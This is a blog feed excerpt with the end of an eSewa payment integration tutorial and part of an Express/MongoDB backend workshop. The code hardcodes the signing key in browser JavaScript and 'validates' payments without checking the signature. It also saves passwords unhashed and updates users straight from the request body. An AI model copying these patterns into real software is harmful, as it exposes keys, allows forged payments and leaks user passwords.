  <span class="hljs-attr">signed_field_names</span>: <span class="hljs-string">"total_amount,transaction_uuid,product_code"</span>,
};
</code></pre>
<h4 id="heading-step-iii-creating-the-form">Step iii: Creating the Form 📝📬</h4>
<p>Now, we need to send this info over to eSewa. To do that, we create a <strong>form</strong> element, just like if we were filling out a web form manually:</p>
<ol>
<li><p><strong>Create the Form</strong>: Set it up to send a POST request directly to the eSewa payment API.</p>
</li>
<li><p><strong>Put Everything in Order</strong>: eSewa expects specific fields, so we create a list to ensure everything is lined up just right.</p>
</li>
<li><p><strong>Hidden Inputs</strong>: Add each field as a hidden input, so users don’t see them but the data goes along for the ride.</p>
</li>
<li><p><strong>Send the Form</strong>: Finally, we add the form to the page and let <code>form.submit()</code> work its magic!</p>
</li>
</ol>
<pre><code class="lang-javascript"><span class="hljs-keyword">const</span> form = <span class="hljs-built_in">document</span>.createElement(<span class="hljs-string">"form"</span>);
form.method = <span class="hljs-string">"POST"</span>;
form.action = <span class="hljs-string">"https://rc-epay.esewa.com.np/api/epay/main/v2/form"</span>;

<span class="hljs-keyword">const</span> fields = [
  <span class="hljs-string">"amount"</span>,
  <span class="hljs-string">"failure_url"</span>,
  <span class="hljs-string">"product_delivery_charge"</span>,
  <span class="hljs-string">"product_service_charge"</span>,
  <span class="hljs-string">"product_code"</span>,
  <span class="hljs-string">"signature"</span>,
  <span class="hljs-string">"signed_field_names"</span>,
  <span class="hljs-string">"success_url"</span>,
  <span class="hljs-string">"tax_amount"</span>,
  <span class="hljs-string">"total_amount"</span>,
  <span class="hljs-string">"transaction_uuid"</span>,
];

fields.forEach(<span class="hljs-function">(<span class="hljs-params">field</span>) =&gt;</span> {
  <span class="hljs-keyword">const</span> input = <span class="hljs-built_in">document</span>.createElement(<span class="hljs-string">"input"</span>);
  input.type = <span class="hljs-string">"hidden"</span>;
  input.name = field;
  input.value = paymentData[field];
  form.appendChild(input);
});

<span class="hljs-built_in">document</span>.body.appendChild(form);
form.submit();
</code></pre>
<p>And voilà! The <code>form.submit()</code> sends our package over to eSewa, popping up that familiar payment UI so users can complete their transaction. Just a click, and they’re off to the eSewa checkout page, ready to seal the deal!</p>
<h3 id="heading-final-script">Final Script</h3>
<pre><code class="lang-javascript">  &lt;script&gt;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">generateSignature</span>(<span class="hljs-params">
      total_amount,
      transaction_uuid,
      product_code,
      secretKey
    </span>) </span>{
      <span class="hljs-comment">// Create the string in the correct order</span>
      <span class="hljs-keyword">const</span> signedFields = <span class="hljs-string">`total_amount=<span class="hljs-subst">${total_amount}</span>,transaction_uuid=<span class="hljs-subst">${transaction_uuid}</span>,product_code=<span class="hljs-subst">${product_code}</span>`</span>;

      <span class="hljs-comment">// Generate the HMAC SHA-256 signature</span>
      <span class="hljs-keyword">const</span> hash = CryptoJS.HmacSHA256(signedFields, secretKey);

      <span class="hljs-comment">// Convert the result to base64</span>
      <span class="hljs-keyword">const</span> base64Signature = CryptoJS.enc.Base64.stringify(hash);

      <span class="hljs-keyword">return</span> base64Signature;
    }
    <span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">initializePayment</span>(<span class="hljs-params"></span>) </span>{
      <span class="hljs-keyword">const</span> errorElement = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">"error-message"</span>);
      errorElement.style.display = <span class="hljs-string">"none"</span>;
      <span class="hljs-keyword">try</span> {
        <span class="hljs-keyword">const</span> amount = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">"amount"</span>).value;
        <span class="hljs-keyword">const</span> taxAmount = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">"tax_amount"</span>).value;
        <span class="hljs-keyword">const</span> total_amount = (
          <span class="hljs-built_in">parseFloat</span>(amount) + <span class="hljs-built_in">parseFloat</span>(taxAmount)
        ).toFixed(<span class="hljs-number">2</span>);
        <span class="hljs-keyword">const</span> transaction_uuid = <span class="hljs-built_in">Math</span>.random().toString(<span class="hljs-number">36</span>).substring(<span class="hljs-number">2</span>, <span class="hljs-number">14</span>); <span class="hljs-comment">// Example transaction UUID</span>
        <span class="hljs-keyword">const</span> product_code = <span class="hljs-string">"EPAYTEST"</span>;
        <span class="hljs-built_in">console</span>.log(<span class="hljs-string">"Initiating payment with:"</span>, {
          total_amount,
          transaction_uuid,
          product_code,
        });
        <span class="hljs-keyword">if</span> (<span class="hljs-built_in">parseFloat</span>(total_amount) &lt;= <span class="hljs-number">0</span>) {
          <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-built_in">Error</span>(<span class="hljs-string">"Please enter a valid amount greater than 0"</span>);
        }

        <span class="hljs-comment">// Generate the signature</span>
        <span class="hljs-keyword">const</span> signature = generateSignature(
          total_amount,
          transaction_uuid,
          product_code,
          <span class="hljs-string">"8gBm/:&amp;EnhH.1/q"</span>
        );
        <span class="hljs-built_in">console</span>.log(<span class="hljs-string">"Generated Signature:"</span>, signature);

        <span class="hljs-keyword">const</span> paymentData = {
          <span class="hljs-attr">amount</span>: amount,
          <span class="hljs-attr">total_amount</span>: total_amount,
          <span class="hljs-attr">tax_amount</span>: taxAmount,
          <span class="hljs-attr">transaction_uuid</span>: transaction_uuid,
          <span class="hljs-attr">product_code</span>: product_code,
          <span class="hljs-attr">signature</span>: signature,
          <span class="hljs-attr">success_url</span>: <span class="hljs-string">"http://localhost:3000/payment-success"</span>, <span class="hljs-comment">// Placeholder URL</span>
          <span class="hljs-attr">failure_url</span>: <span class="hljs-string">"http://localhost:3000/payment-failure"</span>, <span class="hljs-comment">// Placeholder URL</span>
          <span class="hljs-attr">product_delivery_charge</span>: <span class="hljs-string">"0"</span>, <span class="hljs-comment">// Assuming no delivery charge</span>
          <span class="hljs-attr">product_service_charge</span>: <span class="hljs-string">"0"</span>, <span class="hljs-comment">// Assuming no service charge</span>
          <span class="hljs-attr">signed_field_names</span>: <span class="hljs-string">"total_amount,transaction_uuid,product_code"</span>,
        };

        <span class="hljs-comment">// Create and submit form</span>
        <span class="hljs-keyword">const</span> form = <span class="hljs-built_in">document</span>.createElement(<span class="hljs-string">"form"</span>);
        form.method = <span class="hljs-string">"POST"</span>;
        form.action = <span class="hljs-string">"https://rc-epay.esewa.com.np/api/epay/main/v2/form"</span>;

        <span class="hljs-comment">// Ensure fields are in the correct order</span>
        <span class="hljs-keyword">const</span> fields = [
          <span class="hljs-string">"amount"</span>,
          <span class="hljs-string">"failure_url"</span>,
          <span class="hljs-string">"product_delivery_charge"</span>,
          <span class="hljs-string">"product_service_charge"</span>,
          <span class="hljs-string">"product_code"</span>,
          <span class="hljs-string">"signature"</span>,
          <span class="hljs-string">"signed_field_names"</span>,
          <span class="hljs-string">"success_url"</span>,
          <span class="hljs-string">"tax_amount"</span>,
          <span class="hljs-string">"total_amount"</span>,
          <span class="hljs-string">"transaction_uuid"</span>,
        ];

        fields.forEach(<span class="hljs-function">(<span class="hljs-params">field</span>) =&gt;</span> {
          <span class="hljs-keyword">const</span> input = <span class="hljs-built_in">document</span>.createElement(<span class="hljs-string">"input"</span>);
          input.type = <span class="hljs-string">"hidden"</span>;
          input.name = field;
          input.value = paymentData[field];
          form.appendChild(input);
        });

        <span class="hljs-built_in">document</span>.body.appendChild(form);
        form.submit();
      } <span class="hljs-keyword">catch</span> (error) {
        <span class="hljs-built_in">console</span>.error(<span class="hljs-string">"Payment initialization error:"</span>, error);
        errorElement.style.display = <span class="hljs-string">"block"</span>;
        errorElement.innerText = error.message;
        errorElement.textContent = error.message;
      }
    }
  &lt;/script&gt;
</code></pre>
<h3 id="heading-time-to-get-down-to-business-validating-payments-on-the-server">Time to Get Down to Business: Validating Payments on the Server</h3>
<p>Alright, payment enthusiasts, it’s time to bring some server-side magic into our eSewa integration! We’ll validate our payment right after initiating it. This means we need to add a bit of code to our server that checks if everything is in order after the user tries to pay.</p>
<h4 id="heading-step-1-import-the-crypto-library">Step 1: Import the Crypto Library</h4>
<p>First things first, we need to import our trusty sidekick, the <strong>CryptoJS</strong> library, which will help us decode those sneaky Base64 strings that eSewa sends back to us. Let’s get this party started!</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">import</span> CryptoJS <span class="hljs-keyword">from</span> <span class="hljs-string">"crypto-js"</span>;
</code></pre>
<h4 id="heading-step-2-decode-the-base64-string">Step 2: Decode the Base64 String</h4>
<p>Next, we’ll write a function that decodes Base64 strings and converts them into a fancy JSON object that we can actually work with. This is how we do it:</p>
<pre><code class="lang-javascript"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">decodeBase64ToJson</span>(<span class="hljs-params">base64String</span>) </span>{
  <span class="hljs-keyword">const</span> decoded = CryptoJS.enc.Base64.parse(base64String);
  <span class="hljs-keyword">const</span> decodedString = CryptoJS.enc.Utf8.stringify(decoded);
  <span class="hljs-keyword">try</span> {
    <span class="hljs-keyword">const</span> jsonObject = <span class="hljs-built_in">JSON</span>.parse(decodedString);
    <span class="hljs-keyword">return</span> jsonObject;
  } <span class="hljs-keyword">catch</span> (error) {
    <span class="hljs-built_in">console</span>.error(<span class="hljs-string">"Error parsing JSON:"</span>, error);
    <span class="hljs-keyword">return</span> <span class="hljs-literal">null</span>;
  }
}
</code></pre>
<p><strong>What’s happening here?</strong><br />We’re taking that mysterious Base64 string from eSewa, decoding it like a pro, and then trying to convert it into a JSON object. If it fails, we’ll just log an error and return <code>null</code>—because we’re all about keeping our code clean and informative!</p>
<h4 id="heading-step-3-setting-up-success-and-failure-routes">Step 3: Setting Up Success and Failure Routes</h4>
<p>Now, let’s set up the routes for when our payment succeeds or fails. This is where we check if everything went smoothly and respond accordingly:</p>
<pre><code class="lang-javascript">app.get(<span class="hljs-string">"/payment-success"</span>, <span class="hljs-function">(<span class="hljs-params">req, res</span>) =&gt;</span> {
  <span class="hljs-keyword">const</span> data = decodeBase64ToJson(req.query.data);
  <span class="hljs-built_in">console</span>.log(data);
  res.send(<span class="hljs-string">"Success! Please check the console of index.js."</span>);
});

app.get(<span class="hljs-string">"/payment-failure"</span>, <span class="hljs-function">(<span class="hljs-params">req, res</span>) =&gt;</span> {
  <span class="hljs-keyword">const</span> data = decodeBase64ToJson(req.query.data);
  <span class="hljs-built_in">console</span>.log(data);
  res.send(<span class="hljs-string">"Oops! There was an error. Please check the console of index.js."</span>);
});
</code></pre>
<p><strong>What do these routes do?</strong></p>
<ul>
<li><p><strong>/payment-success</strong>: If everything goes according to plan and the user successfully makes a payment, this route is hit. We decode the data, log it for our records (and for your eyes), and send a happy message back to the user. 🎉</p>
</li>
<li><p><strong>/payment-failure</strong>: If, heaven forbid, something goes wrong, this route kicks in. We decode the data, log the error, and send a friendly message letting the user know that something went wrong. 💔</p>
</li>
</ul>
<h3 id="heading-conclusion">Conclusion</h3>
<p>And there you have it! We’ve successfully set up our server to validate payments with eSewa. Now we can handle success and failure cases like pros.</p>
]]></content:encoded></item><item><title><![CDATA[Day 4: Workshop Guide for Setting Up a Backend with Express and MongoDB]]></title><description><![CDATA[1. Initialize the Project
Begin by creating a new project directory and initializing it with npm init:
mkdir blog-backend
cd blog-backend
npm init -y

This will create a package.json file for your project. Afterward, install the necessary dependencie...]]></description><link>https://article.kumarchaudhary.com.np/day-4-workshop-guide-for-setting-up-a-backend-with-express-and-mongodb</link><guid isPermaLink="true">https://article.kumarchaudhary.com.np/day-4-workshop-guide-for-setting-up-a-backend-with-express-and-mongodb</guid><category><![CDATA[Node.js]]></category><category><![CDATA[server]]></category><category><![CDATA[MongoDB]]></category><category><![CDATA[REST API]]></category><dc:creator><![CDATA[Kumar Chaudhary]]></dc:creator><pubDate>Sat, 28 Sep 2024 15:01:47 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/M5tzZtFCOfs/upload/bb87f6f36b08a73300e77aa9af32b6b3.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h4 id="heading-1-initialize-the-project">1. <strong>Initialize the Project</strong></h4>
<p>Begin by creating a new project directory and initializing it with <code>npm init</code>:</p>
<pre><code class="lang-javascript">mkdir blog-backend
cd blog-backend
npm init -y
</code></pre>
<p>This will create a <code>package.json</code> file for your project. Afterward, install the necessary dependencies with:</p>
<pre><code class="lang-javascript">npm install express body-parser dotenv mongoose cookie-parser morgan nodemon bcrypt jsonwebtoken express-validator express-<span class="hljs-keyword">async</span>-handler slugify
</code></pre>
<p>These packages include everything we need for creating and securing routes, handling requests, interacting with MongoDB, and managing cookies.</p>
<h4 id="heading-2-project-structure">2. <strong>Project Structure</strong></h4>
<p>The basic structure of your project should look like this:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1727535093040/6dd3642d-99a1-4b8a-a647-0584ab77674b.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-javascript">blog-backend/
├── config/
│   └── dbConnect.js
├── routes/
│   ├── authRoute.js
│   ├── productRoute.js
│   └── blogRoute.js
├── index.js
├── .env
└── package.json
</code></pre>
<ul>
<li><p><code>config/dbConnect.js</code>: For setting up the MongoDB connection.</p>
</li>
<li><p><code>routes/</code>: Directory for handling different routes (auth, product, blog).</p>
</li>
<li><p><code>index.js</code>: The main entry point for your application.</p>
</li>
</ul>
<h4 id="heading-3-database-connection">3. <strong>Database Connection</strong></h4>
<p>In the <code>config/dbConnect.js</code> file, establish a connection to MongoDB using <strong>Mongoose</strong>:</p>
<pre><code class="lang-javascript"><span class="hljs-comment">// dbconnect.js</span>
<span class="hljs-keyword">import</span> dotenv <span class="hljs-keyword">from</span> <span class="hljs-string">"dotenv"</span>;
<span class="hljs-keyword">import</span> mongoose <span class="hljs-keyword">from</span> <span class="hljs-string">"mongoose"</span>;

dotenv.config();

<span class="hljs-keyword">export</span> <span class="hljs-keyword">const</span> dbConnect = <span class="hljs-keyword">async</span> () =&gt; {
  <span class="hljs-keyword">try</span> {
    <span class="hljs-built_in">console</span>.log(
      <span class="hljs-string">"🚀 ~ dbConnect ~ process.env.MONGO_URI:"</span>,
      process.env.MONGO_URI
    );
    <span class="hljs-keyword">await</span> mongoose.connect(process.env.MONGO_URI, {
      <span class="hljs-attr">useNewUrlParser</span>: <span class="hljs-literal">true</span>,
      <span class="hljs-attr">useUnifiedTopology</span>: <span class="hljs-literal">true</span>,
    });
    <span class="hljs-built_in">console</span>.log(<span class="hljs-string">"MongoDB connected successfully"</span>);
  } <span class="hljs-keyword">catch</span> (error) {
    <span class="hljs-built_in">console</span>.error(<span class="hljs-string">"MongoDB connection failed"</span>);
  }
};
</code></pre>
<ul>
<li><p>Make sure to create a <code>.env</code> file and add your MongoDB connection string:</p>
<pre><code class="lang-javascript">  PORT=<span class="hljs-number">8000</span>
  MONGO_URI=mongodb:<span class="hljs-comment">//localhost:27017/myDatabase</span>
</code></pre>
</li>
</ul>
<h4 id="heading-4-setting-up-the-server">4. <strong>Setting Up the Server</strong></h4>
<p>In the <code>index.js</code> file, we will set up the server using <strong>Express.js</strong>:</p>
<pre><code class="lang-javascript"><span class="hljs-comment">// index.js</span>
<span class="hljs-keyword">import</span> express <span class="hljs-keyword">from</span> <span class="hljs-string">"express"</span>;
<span class="hljs-keyword">import</span> dotenv <span class="hljs-keyword">from</span> <span class="hljs-string">"dotenv"</span>;
<span class="hljs-keyword">import</span> bodyParser <span class="hljs-keyword">from</span> <span class="hljs-string">"body-parser"</span>;
<span class="hljs-keyword">import</span> cookieParser <span class="hljs-keyword">from</span> <span class="hljs-string">"cookie-parser"</span>;
<span class="hljs-keyword">import</span> { dbConnect } <span class="hljs-keyword">from</span> <span class="hljs-string">"./config/dbconnect.js"</span>;

dotenv.config();
<span class="hljs-keyword">const</span> app = express();
<span class="hljs-keyword">const</span> port = process.env.PORT || <span class="hljs-number">3000</span>;

<span class="hljs-comment">// Body parser is used to parse the incoming request bodies in a middleware before you handle it.</span>
app.use(cookieParser());
app.use(bodyParser.json());
app.use(bodyParser.urlencoded({ <span class="hljs-attr">extended</span>: <span class="hljs-literal">true</span> }));

app.listen(port, <span class="hljs-function">() =&gt;</span> {
  <span class="hljs-built_in">console</span>.log(<span class="hljs-string">`Server is running on port <span class="hljs-subst">${port}</span>`</span>);
});

dbConnect();
</code></pre>
<ul>
<li><p><strong>Morgan</strong> logs HTTP requests.</p>
</li>
<li><p><strong>Body-parser</strong> allows us to parse incoming requests in JSON and URL-encoded formats.</p>
</li>
</ul>
<p><strong>Cookie-parser</strong> enables us to work with cookies.</p>
<p>Now if we run the server it must need to be notified with “MongoDB connected successfully”. If the database is not connected then you must need to ensure that it should be connected before proceeding to next step.</p>
<h4 id="heading-5-creating-model">5. <strong>Creating Model</strong></h4>
<p>Create a model with name userModel.js which willl create a table in mongoDB where we will perform the crud operation from controller</p>
<pre><code class="lang-javascript"><span class="hljs-comment">// models/userModel.js</span>
<span class="hljs-keyword">import</span> mongoose <span class="hljs-keyword">from</span> <span class="hljs-string">"mongoose"</span>;

<span class="hljs-keyword">var</span> userSchema = <span class="hljs-keyword">new</span> mongoose.Schema(
  {
    <span class="hljs-attr">firstname</span>: {
      <span class="hljs-attr">type</span>: <span class="hljs-built_in">String</span>,
      <span class="hljs-attr">required</span>: <span class="hljs-literal">true</span>,
      <span class="hljs-attr">trim</span>: <span class="hljs-literal">true</span>,
      <span class="hljs-attr">min</span>: <span class="hljs-number">3</span>,
      <span class="hljs-attr">max</span>: <span class="hljs-number">20</span>,
    },
    <span class="hljs-attr">lastname</span>: {
      <span class="hljs-attr">type</span>: <span class="hljs-built_in">String</span>,
      <span class="hljs-attr">required</span>: <span class="hljs-literal">true</span>,
      <span class="hljs-attr">trim</span>: <span class="hljs-literal">true</span>,
      <span class="hljs-attr">min</span>: <span class="hljs-number">3</span>,
      <span class="hljs-attr">max</span>: <span class="hljs-number">20</span>,
    },
    <span class="hljs-attr">username</span>: {
      <span class="hljs-attr">type</span>: <span class="hljs-built_in">String</span>,
      <span class="hljs-attr">required</span>: <span class="hljs-literal">true</span>,
      <span class="hljs-attr">trim</span>: <span class="hljs-literal">true</span>,
      <span class="hljs-attr">unique</span>: <span class="hljs-literal">true</span>,
      <span class="hljs-attr">index</span>: <span class="hljs-literal">true</span>,
      <span class="hljs-attr">lowercase</span>: <span class="hljs-literal">true</span>,
    },
    <span class="hljs-attr">email</span>: {
      <span class="hljs-attr">type</span>: <span class="hljs-built_in">String</span>,
      <span class="hljs-attr">required</span>: <span class="hljs-literal">true</span>,
      <span class="hljs-attr">trim</span>: <span class="hljs-literal">true</span>,
      <span class="hljs-attr">unique</span>: <span class="hljs-literal">true</span>,
      <span class="hljs-attr">lowercase</span>: <span class="hljs-literal">true</span>,
    },
    <span class="hljs-attr">password</span>: {
      <span class="hljs-attr">type</span>: <span class="hljs-built_in">String</span>,
      <span class="hljs-attr">required</span>: <span class="hljs-literal">true</span>,
    },
  },
  {
    <span class="hljs-attr">timestamps</span>: <span class="hljs-literal">true</span>,
  }
);

<span class="hljs-keyword">export</span> <span class="hljs-keyword">default</span> mongoose.model(<span class="hljs-string">"User"</span>, userSchema);
</code></pre>
<h4 id="heading-6-creating-controller">6. <strong>Creating Controller</strong></h4>
<p>Create the route files for authentication, products, and blogs. Each route file will contain the Express routing logic for handling requests.</p>
<p>Example for <code>controller/UserController.js</code>:</p>
<p>For testing: You canPlay with below code</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">import</span> { validationResult } <span class="hljs-keyword">from</span> <span class="hljs-string">"express-validator"</span>;
<span class="hljs-keyword">import</span> expressAsyncHandler <span class="hljs-keyword">from</span> <span class="hljs-string">"express-async-handler"</span>;

<span class="hljs-keyword">export</span> <span class="hljs-keyword">const</span> createUser = expressAsyncHandler(<span class="hljs-keyword">async</span> (req, res) =&gt; {
  <span class="hljs-keyword">const</span> errors = validationResult(req);
  <span class="hljs-keyword">if</span> (!errors.isEmpty()) {
    <span class="hljs-keyword">return</span> res.status(<span class="hljs-number">400</span>).json({ <span class="hljs-attr">errors</span>: errors.array() });
  }
  res.send(<span class="hljs-string">"User created successfully"</span>);
});
</code></pre>
<p>Before initiating any CRUD operations, please ensure that your route is functioning correctly. Once confirmed, you can proceed with performing the CRUD operations.</p>
<pre><code class="lang-javascript"><span class="hljs-comment">// UserController.js</span>
<span class="hljs-keyword">import</span> { validationResult } <span class="hljs-keyword">from</span> <span class="hljs-string">"express-validator"</span>;
<span class="hljs-keyword">import</span> User <span class="hljs-keyword">from</span> <span class="hljs-string">"../models/userModel.js"</span>;
<span class="hljs-keyword">import</span> expressAsyncHandler <span class="hljs-keyword">from</span> <span class="hljs-string">"express-async-handler"</span>;
<span class="hljs-keyword">import</span> { generateToken } <span class="hljs-keyword">from</span> <span class="hljs-string">"../config/jwtToken.js"</span>;

<span class="hljs-keyword">export</span> <span class="hljs-keyword">const</span> createUser = <span class="hljs-keyword">async</span> (req, res) =&gt; {
  <span class="hljs-keyword">try</span> {
    <span class="hljs-keyword">const</span> errors = validationResult(req);
    <span class="hljs-built_in">console</span>.log(<span class="hljs-string">"🚀 ~ createUser ~ req:"</span>, req.body);
    <span class="hljs-keyword">if</span> (!errors.isEmpty()) {
      <span class="hljs-keyword">return</span> res.status(<span class="hljs-number">400</span>).json({
        <span class="hljs-attr">errors</span>: errors.array(),
        <span class="hljs-attr">message</span>: <span class="hljs-string">"validation error"</span>,
        <span class="hljs-attr">success</span>: <span class="hljs-literal">false</span>,
      });
    }
    <span class="hljs-comment">//check if user already exists</span>

    <span class="hljs-keyword">const</span> isExist = <span class="hljs-keyword">await</span> User.findOne({
      <span class="hljs-attr">email</span>: req.body.email,
    });
    <span class="hljs-built_in">console</span>.log(<span class="hljs-string">"🚀 ~ createUser ~ isExist:"</span>, isExist);
    <span class="hljs-keyword">if</span> (isExist) {
      <span class="hljs-keyword">return</span> res.status(<span class="hljs-number">400</span>).json({
        <span class="hljs-attr">message</span>: <span class="hljs-string">"User already exists"</span>,
        <span class="hljs-attr">success</span>: <span class="hljs-literal">false</span>,
      });
    }

    <span class="hljs-keyword">const</span> user = <span class="hljs-keyword">await</span> User.create(req.body);

    <span class="hljs-keyword">return</span> res.status(<span class="hljs-number">201</span>).json({
      <span class="hljs-attr">message</span>: <span class="hljs-string">"User created successfully"</span>,
      <span class="hljs-attr">success</span>: <span class="hljs-literal">true</span>,
      <span class="hljs-attr">data</span>: user,
    });
  } <span class="hljs-keyword">catch</span> (error) {
    <span class="hljs-built_in">console</span>.error(
      <span class="hljs-string">"🚀 ~ file: UserController.js ~ line 13 ~ createUser ~ error"</span>,
      error
    );
  }
};

<span class="hljs-keyword">export</span> <span class="hljs-keyword">const</span> updateUser = expressAsyncHandler(<span class="hljs-keyword">async</span> (req, res) =&gt; {
  <span class="hljs-keyword">try</span> {
    <span class="hljs-keyword">const</span> errors = validationResult(req);
    <span class="hljs-keyword">if</span> (!errors.isEmpty()) {
      <span class="hljs-keyword">return</span> res.status(<span class="hljs-number">400</span>).json({
        <span class="hljs-attr">errors</span>: errors.array(),
        <span class="hljs-attr">message</span>: <span class="hljs-string">"validation error"</span>,
        <span class="hljs-attr">success</span>: <span class="hljs-literal">false</span>,
      });
    }

    <span class="hljs-keyword">const</span> user = <span class="hljs-keyword">await</span> User.findByIdAndUpdate(req.params.id, req.body, {
      <span class="hljs-attr">new</span>: <span class="hljs-literal">true</span>,
    });

    <span class="hljs-keyword">return</span> res.status(<span class="hljs-number">200</span>).json({
      <span class="hljs-attr">message</span>: <span class="hljs-string">"User updated successfully"</span>,
      <span class="hljs-attr">success</span>: <span class="hljs-literal">true</span>,
      <span class="hljs-attr">data</span>: user,
    });
  } <span class="hljs-keyword">catch</span> (errro) {
    <span class="hljs-keyword">return</span> res.status(<span class="hljs-number">400</span>).json({
      <span class="hljs-attr">message</span>: <span class="hljs-string">"User not found"</span>,
      <span class="hljs-attr">success</span>: <span class="hljs-literal">false</span>,
    });
  }
});

<span class="hljs-keyword">export</span> <span class="hljs-keyword">const</span> getAllUsers = expressAsyncHandler(<span class="hljs-keyword">async</span> (req, res) =&gt; {
  <span class="hljs-keyword">try</span> {
    <span class="hljs-keyword">const</span> users = <span class="hljs-keyword">await</span> User.find();
    <span class="hljs-keyword">return</span> res.status(<span class="hljs-number">200</span>).json({
      <span class="hljs-attr">message</span>: <span class="hljs-string">"Users fetched successfully"</span>,
      <span class="hljs-attr">success</span>: <span class="hljs-literal">true</span>,
      <span class="hljs-attr">data</span>: users,
    });
  } <span class="hljs-keyword">catch</span> (error) {
    <span class="hljs-built_in">console</span>.error(<span class="hljs-string">"🚀 ~ getAllUsers ~ error"</span>, error);
    <span class="hljs-keyword">return</span> res.status(<span class="hljs-number">500</span>).json({
      <span class="hljs-attr">message</span>: <span class="hljs-string">"Server error"</span>,
      <span class="hljs-attr">success</span>: <span class="hljs-literal">false</span>,
    });
  }
});

<span class="hljs-keyword">export</span> <span class="hljs-keyword">const</span> deleteUser = expressAsyncHandler(<span class="hljs-keyword">async</span> (req, res) =&gt; {
  <span class="hljs-keyword">try</span> {
    <span class="hljs-keyword">const</span> user = <span class="hljs-keyword">await</span> User.findById(req.params.id);

    <span class="hljs-keyword">if</span> (!user) {
      <span class="hljs-keyword">return</span> res.status(<span class="hljs-number">404</span>).json({
        <span class="hljs-attr">message</span>: <span class="hljs-string">"User not found"</span>,
        <span class="hljs-attr">success</span>: <span class="hljs-literal">false</span>,
      });
    }

    <span class="hljs-keyword">await</span> User.findByIdAndDelete(req.params.id);

    <span class="hljs-keyword">return</span> res.status(<span class="hljs-number">200</span>).json({
      <span class="hljs-attr">message</span>: <span class="hljs-string">"User deleted successfully"</span>,
      <span class="hljs-attr">success</span>: <span class="hljs-literal">true</span>,
    });
  } <span class="hljs-keyword">catch</span> (error) {
    <span class="hljs-built_in">console</span>.error(<span class="hljs-string">"🚀 ~ deleteUser ~ error"</span>, error);
    <span class="hljs-keyword">return</span> res.status(<span class="hljs-number">500</span>).json({
      <span class="hljs-attr">message</span>: <span class="hljs-string">"Server error"</span>,
      <span class="hljs-attr">success</span>: <span class="hljs-literal">false</span>,
    });
  }
});
</code></pre>
<h4 id="heading-7-creating-routes">7. <strong>Creating Routes</strong></h4>
<p>Create the route files for authentication, products, and blogs. Each route file will contain the Express routing logic for handling requests. Likewise, the controller is imported in to the rooutes so whenever the route is hitted with certain http method it we response the desired output</p>
<p>Example for <code>routes/authRoute.js</code>:</p>
<pre><code class="lang-javascript"><span class="hljs-comment">//authRoute.js</span>
<span class="hljs-keyword">import</span> express <span class="hljs-keyword">from</span> <span class="hljs-string">"express"</span>;
<span class="hljs-keyword">import</span> { createUser } <span class="hljs-keyword">from</span> <span class="hljs-string">"../controller/UserController.js"</span>;

<span class="hljs-keyword">const</span> router = express.Router();

router.post(<span class="hljs-string">"/createUser"</span>, createUser);

<span class="hljs-keyword">export</span> { router <span class="hljs-keyword">as</span> authRouter };
</code></pre>
<p>You can follow a similar structure for the <code>productRoute.js</code> and <code>blogRoute.js</code>.</p>
<h3 id="heading-now-then-we-should-define-our-route-in-indexjs-as-it-is-the-main-serving-file">Now then we should define our route in <code>index.js</code>, as it is the main serving file.</h3>
<pre><code class="lang-javascript"><span class="hljs-comment">// index.js</span>
<span class="hljs-keyword">import</span> express <span class="hljs-keyword">from</span> <span class="hljs-string">"express"</span>;
<span class="hljs-keyword">import</span> dotenv <span class="hljs-keyword">from</span> <span class="hljs-string">"dotenv"</span>;
<span class="hljs-keyword">import</span> bodyParser <span class="hljs-keyword">from</span> <span class="hljs-string">"body-parser"</span>;
<span class="hljs-keyword">import</span> cookieParser <span class="hljs-keyword">from</span> <span class="hljs-string">"cookie-parser"</span>;
<span class="hljs-keyword">import</span> { dbConnect } <span class="hljs-keyword">from</span> <span class="hljs-string">"./config/dbconnect.js"</span>;
<span class="hljs-keyword">import</span> { authRouter } <span class="hljs-keyword">from</span> <span class="hljs-string">"./routes/authRoute.js"</span>;

dotenv.config();
<span class="hljs-keyword">const</span> app = express();
<span class="hljs-keyword">const</span> port = process.env.PORT || <span class="hljs-number">3000</span>;

<span class="hljs-comment">// Body parser is used to parse the incoming request bodies in a middleware before you handle it.</span>
app.use(cookieParser());
app.use(bodyParser.json());
app.use(bodyParser.urlencoded({ <span class="hljs-attr">extended</span>: <span class="hljs-literal">true</span> }));

app.listen(port, <span class="hljs-function">() =&gt;</span> {
  <span class="hljs-built_in">console</span>.log(<span class="hljs-string">`Server is running on port <span class="hljs-subst">${port}</span>`</span>);
});

app.use(<span class="hljs-string">"/api/auth"</span>, authRouter);
dbConnect();
</code></pre>
<p>If you want some validation</p>
<h4 id="heading-create-validatorsuservalidatorjs">Create <code>validators/userValidator.js</code>:</h4>
<pre><code class="lang-javascript"><span class="hljs-keyword">import</span> { body } <span class="hljs-keyword">from</span> <span class="hljs-string">"express-validator"</span>;

<span class="hljs-keyword">export</span> <span class="hljs-keyword">const</span> validateUser = [
  body(<span class="hljs-string">"firstname"</span>)
    .trim()
    .notEmpty()
    .withMessage(<span class="hljs-string">"Firstname is required"</span>)
    .isAlpha()
    .withMessage(<span class="hljs-string">"Firstname must only contain letters"</span>)
    .isLength({ <span class="hljs-attr">min</span>: <span class="hljs-number">2</span>, <span class="hljs-attr">max</span>: <span class="hljs-number">50</span> })
    .withMessage(<span class="hljs-string">"Firstname must be between 2 and 50 characters"</span>),

  body(<span class="hljs-string">"lastname"</span>)
    .trim()
    .notEmpty()
    .withMessage(<span class="hljs-string">"Lastname is required"</span>)
    .isAlpha()
    .withMessage(<span class="hljs-string">"Lastname must only contain letters"</span>)
    .isLength({ <span class="hljs-attr">min</span>: <span class="hljs-number">2</span>, <span class="hljs-attr">max</span>: <span class="hljs-number">50</span> })
